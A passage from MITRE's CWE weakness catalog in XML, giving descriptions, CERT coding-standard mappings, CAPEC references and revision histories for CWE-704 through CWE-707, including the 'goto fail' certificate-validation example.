               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-12-13">Failure to Handle Exceptional Conditions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="704" Name="Incorrect Type Conversion or Cast" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not correctly convert an object, resource, or structure from one type to a different type.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP05-C</Entry_ID>
               <Entry_Name>Do not cast away a const qualification</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP39-C</Entry_ID>
               <Entry_Name>Do not access a variable through a pointer of an incompatible type</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT31-C</Entry_ID>
               <Entry_Name>Ensure that integer conversions do not result in lost or misinterpreted data</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT36-C</Entry_ID>
               <Entry_Name>Converting a pointer to integer or integer to pointer</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR34-C</Entry_ID>
               <Entry_Name>Cast characters to unsigned types before converting to larger integer sizes</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR37-C</Entry_ID>
               <Entry_Name>Arguments to character handling functions must be representable as an unsigned char</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-704</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-704"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="705" Name="Incorrect Control Flow Scoping" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-1266</Reference>
               <Description>chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-1266</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV32-C</Entry_ID>
               <Entry_Name>All exit handlers must return normally</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR04-C</Entry_ID>
               <Entry_Name>Choose an appropriate termination strategy</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>THI05-J</Entry_ID>
               <Entry_Name>Do not use Thread.stop() to terminate threads</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR04-J</Entry_ID>
               <Entry_Name>Do not complete abruptly from a finally block</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR05-J</Entry_ID>
               <Entry_Name>Do not let checked exceptions escape from a finally block</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP31-PL</Entry_ID>
               <Entry_Name>Do not suppress or ignore exceptions</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="706" Name="Use of Incorrectly-Resolved Name or Reference" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="99" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="159"/>
            <Related_Attack_Pattern CAPEC_ID="177"/>
            <Related_Attack_Pattern CAPEC_ID="48"/>
            <Related_Attack_Pattern CAPEC_ID="641"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="707" Name="Improper Neutralization" Abstraction="Pillar" Structure="Simple" Status="Incomplete">
         <Description>The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.</Description>
         <Extended_Description>
            <xhtml:p>If a message is malformed, it may cause the message to be incorrectly interpreted.</xhtml:p>
            <xhtml:p>Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe."  This can be done by:</xhtml:p>
	    <xhtml:ul>
	      <xhtml:li>checking that the input/output is already "safe" (e.g. validation)</xhtml:li>
	      <xhtml:li>transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization</xhtml:li>
	      <xhtml:li>preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)</xhtml:li>
	      <xhtml:li>preventing the input/output from being processed at all</xhtml:li>
	    </xhtml:ul>
            <xhtml:p>This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.</xhtml:p>
         </Extended_Description>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
            <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="250"/>
            <Related_Attack_Pattern CAPEC_ID="276"/>
            <Related_Attack_Pattern CAPEC_ID="277"/>
            <Related_Attack_Pattern CAPEC_ID="278"/>
            <Related_Attack_Pattern CAPEC_ID="279"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="468"/>
            <Related_Attack_Pattern CAPEC_ID="52"/>
            <Related_Attack_Pattern CAPEC_ID="53"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="7"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
            <Related_Attack_Pattern CAPEC_ID="83"/>
            <Related_Attack_Pattern CAPEC_ID="84"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Maintenance">Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
